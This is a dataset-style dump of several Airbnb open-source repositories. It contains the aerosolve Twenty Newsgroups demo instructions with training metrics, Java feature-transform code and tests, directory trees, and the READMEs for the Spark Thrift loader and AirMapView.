#### Switching to the correct version of Thrift with Homebrew on Mac OSX
If you have recently installed Thrift by running,
```
brew install thrift
```
chances are that you have version >= 10 installed.
```
thrift -version
```
To obtain and switch to the correct version of thrift, run the following,
```
brew search thrift
brew install [email protected]
brew unlink thrift
brew link [email protected]
```
Finally, check that you are currently running the correct version of thrift.
```
thrift -version
```
## Running the demo
Downloading the dataset from https://archive.ics.uci.edu/ml/machine-learning-databases/20newsgroups-mld/
```
wget https://archive.ics.uci.edu/ml/machine-learning-databases/20newsgroups-mld/20_newsgroups.tar.gz
gzip -d 20_newsgroups.tar.gz
tar -xvf 20_newsgroups.tar
python convert_to_aerosolve.py
```
This will convert the twenty news data set into one giant flat text file.
Descriptions of the dataset can be found [here](https://archive.ics.uci.edu/ml/datasets/Twenty+Newsgroups).
The headers have been scrubbed to make it more of an NLP task.
To see the data type
```
less 20_newsgroups.txt
```
The file format is label followed by a tab then the body of the post.
Save the dataset at `src/main/resources`, and make sure the path is consistent with the config file in `src/main/resources/twenty_news.conf`.
After you edit the config file, you can build the demo using:
`gradle shadowjar --info`
You can then see if the data was read properly using
`sh job_runner.sh DebugExample`
and also debug the transforms using
`sh job_runner.sh DebugTransform`
which should tokenize the sentences and delete the original sentence.
Then, make the training data for the models
```
sh job_runner.sh MakeTraining
```
Then you can train the model on the training data by running
`sh job_runner.sh TrainModel`
Next you can test the performance of the trained model on the training data and the testing data by running
`sh job_runner.sh EvalModel`
You should get a bunch of metrics like this:
```
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (HOLD_PRECISION@1,0.8617806197737334)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (HOLD_PRECISION@10,0.9950811608460404)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (HOLD_PRECISION@11,0.9960649286768323)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (HOLD_PRECISION@12,0.9965568125922283)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (HOLD_PRECISION@13,0.9975405804230202)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (HOLD_PRECISION@14,0.9980324643384161)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (HOLD_PRECISION@15,0.9990162321692081)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (HOLD_PRECISION@16,0.9990162321692081)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (HOLD_PRECISION@17,0.999508116084604)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (HOLD_PRECISION@18,0.999508116084604)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (HOLD_PRECISION@19,1.0)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (HOLD_PRECISION@2,0.9513034923757994)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (HOLD_PRECISION@20,1.0)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (HOLD_PRECISION@3,0.9729463846532218)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (HOLD_PRECISION@4,0.9803246433841614)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (HOLD_PRECISION@5,0.985735366453517)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (HOLD_PRECISION@6,0.9881947860304968)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (HOLD_PRECISION@7,0.9901623216920806)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (HOLD_PRECISION@8,0.9921298573536645)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (HOLD_PRECISION@9,0.9940973930152484)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (TRAIN_ALL_PAIRS_HINGE_LOSS,0.6203499147451094)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (TRAIN_MEAN_RECIPROCAL_RANK,0.960960504333188)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (TRAIN_PRECISION@1,0.9280227120908484)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (TRAIN_PRECISION@10,0.9993319973279893)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (TRAIN_PRECISION@11,0.999498997995992)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (TRAIN_PRECISION@12,0.9995546648853262)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (TRAIN_PRECISION@13,0.9995546648853262)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (TRAIN_PRECISION@14,0.9997773324426631)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (TRAIN_PRECISION@15,0.9997773324426631)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (TRAIN_PRECISION@16,0.9998886662213315)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (TRAIN_PRECISION@17,0.9999443331106658)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (TRAIN_PRECISION@18,0.9999443331106658)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (TRAIN_PRECISION@19,1.0)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (TRAIN_PRECISION@2,0.9867512803384547)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (TRAIN_PRECISION@20,1.0)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (TRAIN_PRECISION@3,0.9943776441772434)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (TRAIN_PRECISION@4,0.9964373190826097)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (TRAIN_PRECISION@5,0.9974949899799599)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (TRAIN_PRECISION@6,0.9981073257626364)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (TRAIN_PRECISION@7,0.9986083277666444)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (TRAIN_PRECISION@8,0.9988866622133156)
16/02/08 20:11:26 INFO TwentyNewsPipeline$: (TRAIN_PRECISION@9,0.9991649966599866)
```
The results may vary slightly in different runs.
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "core\\src\\main\\java\\com\\airbnb\\aerosolve\\core\\features\\FeatureMapping.java": "package com.airbnb.aerosolve.core.features;\n\nimport lombok.Getter;\n\nimport java.util.*;\n\n/*\n Features coming from differenct sources, and output as array[],\n FeatureMapping helps to save incoming feature in the right index of final output array[]\n it use incoming feature names array as key to locate the index.\n refer to ModelScorerTest.java as how to use FeatureMapping\n */\npublic class FeatureMapping {\n public final static int DEFAULT_SIZE = 100;\n @Getter\n private String[] names;\n private ArrayList<String> nameList;\n @Getter\n private final Map<Object, Entry> mapping;\n\n public static final class Entry {\n int start;\n int length;\n }\n\n public FeatureMapping() {\n this(DEFAULT_SIZE);\n }\n\n public FeatureMapping(int size) {\n nameList = new ArrayList<>(size);\n mapping = new HashMap<>(size);\n }\n\n // use name mapping array as key.\n public void add(String[] names) {\n add(names, names);\n }\n\n public void add(Object c, String[] names) {\n assert(names.length > 0);\n // should not add duplicated feature mapping\n assert(mapping.get(c) == null);\n Entry e = new Entry();\n e.start = nameList.size();\n e.length = names.length;\n Collections.addAll(nameList, names);\n mapping.put(c, e);\n }\n\n public void add(Class c, List<String> features) {\n assert (features.size() > 0);\n Entry e = new Entry();\n e.start = nameList.size();\n e.length = features.size();\n for (String name : features) {\n nameList.add(name);\n }\n mapping.put(c, e);\n }\n\n public void finish() {\n names = new String[nameList.size()];\n nameList.toArray(names);\n nameList = null;\n }\n}\n", "core\\src\\main\\java\\com\\airbnb\\aerosolve\\core\\transforms\\ApproximatePercentileTransform.java": "package com.airbnb.aerosolve.core.transforms;\n\nimport com.airbnb.aerosolve.core.FeatureVector;\nimport com.airbnb.aerosolve.core.util.Util;\nimport com.typesafe.config.Config;\n\nimport java.util.Map;\n\n/**\n * Given a fieldName1, low, upper key\n * Remaps fieldName2's key2 value such that low = 0, upper = 1.0 thus approximating\n * the percentile using linear interpolation.\n */\npublic class ApproximatePercentileTransform implements Transform {\n private String fieldName1;\n private String fieldName2;\n private String lowKey;\n private String upperKey;\n private String key2;\n private String outputName;\n private String outputKey;\n private double minDiff;\n\n @Override\n public void configure(Config config, String key) {\n fieldName1 = config.getString(key + \".field1\");\n fieldName2 = config.getString(key + \".field2\");\n lowKey = config.getString(key + \".low\");\n upperKey = config.getString(key + \".upper\");\n minDiff = config.getDouble(key + \".minDiff\");\n key2 = config.getString(key + \".key2\");\n outputName = config.getString(key + \".output\");\n outputKey = config.getString(key + \".outputKey\");\n }\n\n @Override\n public void doTransform(FeatureVector featureVector) {\n Map<String, Map<String, Double>> floatFeatures = featureVector.getFloatFeatures();\n\n if (floatFeatures == null) {\n return;\n }\n\n Map<String, Double> feature1 = floatFeatures.get(fieldName1);\n if (feature1 == null) {\n return;\n }\n\n Map<String, Double> feature2 = floatFeatures.get(fieldName2);\n if (feature2 == null) {\n return;\n }\n\n Double val = feature2.get(key2);\n if (val == null) {\n return;\n }\n\n Double low = feature1.get(lowKey);\n Double upper = feature1.get(upperKey);\n \n if (low == null || upper == null) {\n return;\n }\n\n // Abstain if the percentiles are too close.\n double denom = upper - low;\n if (denom < minDiff) {\n return;\n }\n\n Map<String, Double> output = Util.getOrCreateFloatFeature(outputName, floatFeatures);\n\n Double outVal = 0.0;\n if (val <= low) {\n outVal = 0.0;\n } else if (val >= upper) {\n outVal = 1.0;\n } else {\n outVal = (val - low) / denom;\n }\n\n output.put(outputKey, outVal);\n }\n}\n", "core\\src\\test\\java\\com\\airbnb\\aerosolve\\core\\features\\FeatureMappingTest.java": "package com.airbnb.aerosolve.core.features;\n\nimport org.junit.Test;\n\nimport static org.junit.Assert.assertArrayEquals;\nimport static org.junit.Assert.assertEquals;\n\npublic class FeatureMappingTest {\n\n @Test\n public void add() throws Exception {\n FeatureMapping m = new FeatureMapping(100);\n String[] doubleNames = {\"a\", \"b\"};\n m.add(Double.class, doubleNames);\n String[] booleanNames = {\"c\", \"d\"};\n m.add(Boolean.class, booleanNames);\n String[] strNames = {\"e\", \"f\"};\n m.add(String.class, strNames);\n m.finish();\n\n assertEquals(m.getNames().length, 6);\n assertArrayEquals(m.getNames(),\n new String[]{\"a\", \"b\", \"c\", \"d\", \"e\", \"f\"});\n assertEquals(m.getMapping().get(String.class).start, 4);\n assertEquals(m.getMapping().get(String.class).length, 2);\n }\n}", "core\\src\\test\\java\\com\\airbnb\\aerosolve\\core\\transforms\\ApproximatePercentileTransformTest.java": "package com.airbnb.aerosolve.core.transforms;\n\nimport com.airbnb.aerosolve.core.FeatureVector;\nimport com.typesafe.config.Config;\nimport com.typesafe.config.ConfigFactory;\nimport org.junit.Test;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.*;\n\nimport static org.junit.Assert.assertEquals;\nimport static org.junit.Assert.assertTrue;\n\n/**\n * @author Hector Yee\n */\npublic class ApproximatePercentileTransformTest {\n private static final Logger log = LoggerFactory.getLogger(ApproximatePercentileTransformTest.class);\n\n public FeatureVector makeFeatureVector(double low, double high, double val) {\n Map<String, Set<String>> stringFeatures = new HashMap<>();\n Map<String, Map<String, Double>> floatFeatures = new HashMap<>();\n\n Set list = new HashSet<String>();\n list.add(\"aaa\");\n list.add(\"bbb\");\n stringFeatures.put(\"strFeature1\", list);\n\n Map<String, Double> map = new HashMap<>();\n map.put(\"10th\", low);\n map.put(\"90th\", high);\n floatFeatures.put(\"DECILES\", map);\n\n Map<String, Double> map2 = new HashMap<>();\n map2.put(\"foo\", val);\n floatFeatures.put(\"F\", map2);\n\n FeatureVector featureVector = new FeatureVector();\n featureVector.setStringFeatures(stringFeatures);\n featureVector.setFloatFeatures(floatFeatures);\n return featureVector;\n }\n\n public String makeConfig() {\n return \"test_approximate_percentile {\\n\" +\n \" transform : approximate_percentile\\n\" +\n \" field1 : DECILES\\n\" +\n \" low : 10th\\n\" +\n \" upper : 90th\\n\" +\n \" minDiff : 10 \\n\" +\n \" field2 : F\\n\" +\n \" key2 : foo\\n\" +\n \" output : PERCENTILE\\n\" +\n \" outputKey : percentile\\n\" +\n \"}\";\n }\n \n @Test\n public void testEmptyFeatureVector() {\n Config config = ConfigFactory.parseString(makeConfig());\n Transform transform = TransformFactory.createTransform(config, \"test_approximate_percentile\");\n FeatureVector featureVector = new FeatureVector();\n transform.doTransform(featureVector);\n assertTrue(featureVector.getStringFeatures() == null);\n }\n\n @Test\n public void testTransform() {\n Config config = ConfigFactory.parseString(makeConfig());\n Transform transform = TransformFactory.createTransform(config, \"test_approximate_percentile\");\n\n double[] values = { -1.0, 10.0, 15.0, 20.0, 50.0, 60.0, 100.0, 200.0 };\n double[] expected = { 0.0, 0.0, 0.05, 0.11, 0.44, 0.55, 1.0, 1.0 };\n\n for (int i = 0; i < values.length; i++) {\n double val = values[i];\n\n FeatureVector featureVector = makeFeatureVector(10.0, 100.0, val);\n transform.doTransform(featureVector);\n Map<String, Set<String>> stringFeatures = featureVector.getStringFeatures();\n assertTrue(stringFeatures.size() == 1);\n\n Map<String, Double> out = featureVector.floatFeatures.get(\"PERCENTILE\");\n assertTrue(out.size() == 1);\n assertEquals(expected[i], out.get(\"percentile\"), 0.01);\n }\n }\n\n @Test\n public void testAbstain() {\n Config config = ConfigFactory.parseString(makeConfig());\n Transform transform = TransformFactory.createTransform(config, \"test_approximate_percentile\");\n\n FeatureVector featureVector = makeFeatureVector(10.0, 11.0, 1.0);\n transform.doTransform(featureVector);\n assertTrue(featureVector.floatFeatures.get(\"PERCENTILE\") == null);\n }\n}", "gradle\\wrapper\\gradle-wrapper.properties": "distributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-4.0-all.zip\n"} | null |
airbnb-spark-thrift | {"type": "directory", "name": "airbnb-spark-thrift", "children": [{"type": "file", "name": ".travis.yml"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "pom.xml"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "scala", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "spark", "children": [{"type": "directory", "name": "thrift", "children": [{"type": "file", "name": "ThriftParser.scala"}, {"type": "file", "name": "ThriftSchemaConverter.scala"}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "scala", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "spark", "children": [{"type": "directory", "name": "thrift", "children": [{"type": "file", "name": "Foo.java"}, {"type": "file", "name": "StructSimple.java"}, {"type": "file", "name": "TestEnum.java"}, {"type": "file", "name": "ThriftSchemaTest.scala"}]}]}]}]}]}, {"type": "directory", "name": "thrift", "children": [{"type": "file", "name": "StructSimple.thrift"}]}]}]}]} |
# Spark Thrift Loader
[![Build Status](https://travis-ci.org/airbnb/airbnb-spark-thrift.svg)](https://travis-ci.org/airbnb/airbnb-spark-thrift)
A library for loadling Thrift data into [Spark SQL](http://spark.apache.org/docs/latest/sql-programming-guide.html).
## Features
It supports conversions from Thrift records to Spark SQL, making Thrift a first-class citizen in Spark.
It automatically derives Spark SQL schema from Thrift struct and convert Thrift object to Spark Row in runtime.
Any nested-structs are all support except Map key field needs to be primitive.
It is especially useful when running spark streaming job to consume thrift events from different streaming sources.
## Supported types for Thrift -> Spark SQL conversion
This library supports reading following types. It uses the following mapping from convert Thrift types to Spark SQL types:
| Thrift Type | Spark SQL type |
| --- | --- |
| bool | BooleanType |
| i16 | ShortType |
| i32 | IntegerType |
| i64 | LongType |
| double | DoubleType |
| binary | StringType |
| string | StringType |
| enum | String |
| list | ArrayType |
| set | ArrayType |
| map | MapType |
| struct | StructType |
## Examples
### Convert Thrift Schema to StructType in Spark
```scala
import com.airbnb.spark.thrift.ThriftSchemaConverter
// this will return a StructType for the thrift class
val thriftStructType = ThriftSchemaConverter.convert(ThriftExampleClass.getClass)
```
### Convert Thrift Object to Row in Spark
```scala
import com.airbnb.spark.thrift.ThriftSchemaConverter
import com.airbnb.spark.thrift.ThriftParser
// this will return a StructType for the thrift class
val thriftStructType = ThriftSchemaConverter.convert(ThriftExampleClass.getClass)
val row = ThriftParser.convertObject(
thriftObject,
thriftStructType)
```
### Use cases: consume Kafka Streaming, where each event is a thrift object
```scala
import com.airbnb.spark.thrift.ThriftSchemaConverter
import com.airbnb.spark.thrift.ThriftParser
directKafkaStream.foreachRDD(rdd => {
val schema = ThriftSchemaConverter.convert(ThriftExampleClass.getClass)
val deserializedEvents = rdd
.map(_.message)
.filter(_ != null)
.flatMap(eventBytes => {
try Some(MessageSerializer.getInstance().fromBytes(eventBytes))
.asInstanceOf[Option[Message[_]]]
catch {
case e: Exception => {
LOG.warn(s"Failed to deserialize thrift event ${e.toString}")
None
}
}
}).map(_.getEvent.asInstanceOf[TBaseType])
val rows: RDD[Row] = ThriftParser(
ThriftExampleClass.getClass,
deserializedEvents,
schema)
val df = sqlContext.createDataFrame(rows, schema)
// Process the dataframe on this micrao batch
})
}
```
## How to get started
Clone the project and mvn package to get the artifact.
## How to contribute
Please send the PR here and cc @liyintang or @jingweilu1974 for reviewing
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
AirMapView | {"type": "directory", "name": "AirMapView", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "CONTRIBUTING.md"}, {"type": "directory", "name": "gradle", "children": [{"type": "directory", "name": "wrapper", "children": [{"type": "file", "name": "gradle-wrapper.properties"}]}]}, {"type": "file", "name": "gradle.properties"}, {"type": "file", "name": "gradlew"}, {"type": "file", "name": "gradlew.bat"}, {"type": "directory", "name": "library", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "gradle-maven-push.gradle"}, {"type": "file", "name": "gradle.properties"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "file", "name": "AndroidManifest.xml"}, {"type": "directory", "name": "assets", "children": [{"type": "file", "name": "geolocate_user.js"}, {"type": "file", "name": "google_map.html"}, {"type": "directory", "name": "images", "children": []}, {"type": "directory", "name": "leaflet_1.3.1", "children": [{"type": "file", "name": "leaflet.css"}, {"type": "file", "name": "leaflet.js"}]}, {"type": "file", "name": "leaflet_map.html"}, {"type": "file", "name": "mapbox.html"}, {"type": "file", "name": "proj4leaflet.min.js"}]}, {"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "android", "children": [{"type": "directory", "name": "airmapview", "children": [{"type": "file", "name": "AirGoogleMapOptions.java"}, {"type": "file", "name": "AirMapGeoJsonLayer.java"}, {"type": "file", "name": "AirMapInterface.java"}, {"type": "file", "name": "AirMapMarker.java"}, {"type": "file", "name": "AirMapPolygon.java"}, {"type": "file", "name": "AirMapPolyline.java"}, {"type": "file", "name": "AirMapType.java"}, {"type": "file", "name": "AirMapUtils.java"}, {"type": "file", "name": "AirMapView.java"}, {"type": "file", "name": "AirMapViewBuilder.java"}, {"type": "file", "name": "AirMapViewTypes.java"}, {"type": "file", "name": "DefaultAirMapViewBuilder.java"}, {"type": "file", "name": "FixedWebView.java"}, {"type": "file", "name": "GoogleChinaMapType.java"}, {"type": "file", "name": "GoogleChinaWebViewMapFragment.java"}, {"type": "file", "name": "GoogleWebMapType.java"}, {"type": "file", "name": "GoogleWebViewMapFragment.java"}, {"type": "file", "name": "LeafletBaiduMapType.java"}, {"type": "file", "name": "LeafletDivIcon.java"}, {"type": "file", "name": "LeafletGaodeMapType.java"}, {"type": "file", "name": "LeafletGoogleChinaMapType.java"}, {"type": "file", "name": "LeafletGoogleMapType.java"}, {"type": "file", "name": "LeafletMapType.java"}, {"type": "file", "name": "LeafletWebViewMapFragment.java"}, {"type": "directory", "name": "listeners", "children": [{"type": "file", "name": "InfoWindowCreator.java"}, {"type": "file", "name": "OnCameraChangeListener.java"}, {"type": "file", "name": "OnCameraMoveListener.java"}, {"type": "file", "name": "OnInfoWindowClickListener.java"}, {"type": "file", "name": "OnLatLngScreenLocationCallback.java"}, {"type": "file", "name": "OnMapBoundsCallback.java"}, {"type": "file", "name": "OnMapClickListener.java"}, {"type": "file", "name": "OnMapInitializedListener.java"}, {"type": "file", "name": "OnMapLoadedListener.java"}, {"type": "file", "name": "OnMapMarkerClickListener.java"}, {"type": "file", "name": "OnMapMarkerDragListener.java"}, {"type": "file", "name": "OnSnapshotReadyListener.java"}]}, {"type": "file", "name": "MapboxWebMapType.java"}, {"type": "file", "name": "MapboxWebMapViewBuilder.java"}, {"type": "file", "name": "MapboxWebViewMapFragment.java"}, {"type": "file", "name": "MapLaidOutCheck.kt"}, {"type": "file", "name": "MapType.java"}, {"type": "file", "name": "NativeAirMapViewBuilder.java"}, {"type": "file", "name": "NativeGoogleMapFragment.java"}, {"type": "file", "name": "RuntimePermissionUtils.java"}, {"type": "file", "name": "WebAirMapViewBuilder.java"}, {"type": "file", "name": "WebViewMapFragment.java"}]}]}]}]}]}, {"type": "directory", "name": "res", "children": [{"type": "directory", "name": "layout", "children": [{"type": "file", "name": "fragment_webview.xml"}, {"type": "file", "name": "map_view.xml"}]}, {"type": "directory", "name": "values", "children": [{"type": "file", "name": "dimens.xml"}, {"type": "file", "name": "strings.xml"}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "android", "children": [{"type": "directory", "name": "airmapview", "children": [{"type": "file", "name": "AirMapTypeTest.java"}, {"type": "file", "name": "DefaultAirMapViewBuilderTest.java"}, {"type": "file", "name": "NativeAirMapViewBuilderTest.java"}, {"type": "file", "name": "WebAirMapViewBuilderTest.java"}]}]}]}]}]}]}]}]}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "proguard-rules.pro"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "RELEASING.md"}, {"type": "directory", "name": "sample", "children": [{"type": "directory", "name": "aars", "children": []}, {"type": "file", "name": "build.gradle"}, {"type": "file", "name": "debug.keystore"}, {"type": "file", "name": "proguard-rules.pro"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "debug", "children": [{"type": "directory", "name": "res", "children": [{"type": "directory", "name": "values", "children": [{"type": "file", "name": "google_maps_api.xml"}]}]}]}, {"type": "directory", "name": "main", "children": [{"type": "file", "name": "AndroidManifest.xml"}, {"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "airmapview", "children": [{"type": "directory", "name": "sample", "children": [{"type": "file", "name": "LogsAdapter.java"}, {"type": "file", "name": "MainActivity.java"}, {"type": "file", "name": "Util.java"}]}]}]}]}]}, {"type": "directory", "name": "res", "children": [{"type": "directory", "name": "layout", "children": [{"type": "file", "name": "activity_main.xml"}, {"type": "file", "name": "list_item_bitmap.xml"}, {"type": "file", "name": "list_item_text.xml"}]}, {"type": "directory", "name": "menu", "children": [{"type": "file", "name": "menu_main.xml"}]}, {"type": "directory", "name": "mipmap-hdpi", "children": []}, {"type": "directory", "name": "mipmap-mdpi", "children": []}, {"type": "directory", "name": "mipmap-xhdpi", "children": []}, {"type": "directory", "name": "mipmap-xxhdpi", "children": []}, {"type": "directory", "name": "raw", "children": [{"type": "file", "name": "google.json"}]}, {"type": "directory", "name": "values", "children": [{"type": "file", "name": "dimens.xml"}, {"type": "file", "name": "strings.xml"}, {"type": "file", "name": "styles.xml"}]}, {"type": "directory", "name": "values-w820dp", "children": [{"type": "file", "name": "dimens.xml"}]}]}]}, {"type": "directory", "name": "release", "children": [{"type": "directory", "name": "res", "children": [{"type": "directory", "name": "values", "children": [{"type": "file", "name": "google_maps_api.xml"}]}]}]}]}]}, {"type": "directory", "name": "screenshots", "children": []}, {"type": "file", "name": "settings.gradle"}]} | # AirMapView
[![Build Status](https://travis-ci.org/airbnb/AirMapView.svg)](https://travis-ci.org/airbnb/AirMapView)
AirMapView is a view abstraction that enables interactive maps
for devices with and without Google Play Services. It is built
to support multiple native map providers including Google Maps V2 and soon Amazon Maps V2.
If a device does not have any supported native map provider, AirMapView
will fallback to a web based map provider (currently Google Maps). Easy to integrate, it is a drop-in replacement for the Google Maps V2 package. AirMapView's original author is [Nick Adams](https://github.com/nwadams).
* [Features](#features)
* [Download](#download)
* [How to Use](#how-to-use)
* [Sample App](#sample-app)
## Features
* Google Maps V2
* Swap map providers at runtime
* Web based maps for devices without Google Play Services
![](screenshots/google_maps_v2.png)
![](screenshots/google_web_maps.png)
## Download
Grab via Gradle:
```groovy
compile 'com.airbnb.android:airmapview:1.8.0'
```
Snapshots of the development version are available in [Sonatype's `snapshots` repository](https://oss.sonatype.org/content/repositories/snapshots/).
## Sample App
The project includes a sample app which uses AirMapView. The sample app allows toggling between map providers, exemplifies adding map markers, and displays various callback information. The sample project can be built manually or you can [download the APK](https://www.dropbox.com/s/8gcxn2ouc44t53x/AirMapView-Sample.apk?dl=0).
## How to Use
1. Define `AirMapView` in your layout file
```xml
<com.airbnb.android.airmapview.AirMapView
android:id="@+id/map_view"
android:layout_width="match_parent"
android:layout_height="match_parent"/>
```
1. Initialize in code
```java
mapView = (AirMapView) findViewById(R.id.map_view);
mapView.initialize(getSupportFragmentManager());
```
1. Add markers/polylines/polygons
```java
map.addMarker(new AirMapMarker(latLng, markerId)
.setTitle("Airbnb HQ")
.setIconId(R.drawable.icon_location_pin));
```
## Mapbox Web setup
To use Mapbox Web maps in AirMapView, you'll need to [sign up for a free account with Mapbox](https://www.mapbox.com/signup/). From there you'll use an [Access Token](https://www.mapbox.com/help/define-access-token/) and [Map ID](https://www.mapbox.com/help/define-map-id/) in your AirMapView app. They're are then included in your app's `AndroidManifest.xml` file as `meta-data` fields.
```xml
<meta-data
android:name="com.mapbox.ACCESS_TOKEN"
android:value=ACCESS_TOKEN/>
<meta-data
android:name="com.mapbox.MAP_ID"
android:value=MAP_ID/>
```
## Native Google Maps setup
With AirMapView, to support native Google maps using the [Google Maps v2](https://developers.google.com/maps/documentation/android/) SDK you will still need to set up the Google Maps SDK as described [here](https://developers.google.com/maps/documentation/android/start#getting_the_google_maps_android_api_v2). Follow all the instructions except the one about adding a map since AirMapView takes care of that for you. See the sample app for more information about how to set up the maps SDK.
License
--------
Copyright 2015 Airbnb, Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
[1]: http://airbnb.github.io/airbnb/AirMapView/
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "gradle\\wrapper\\gradle-wrapper.properties": 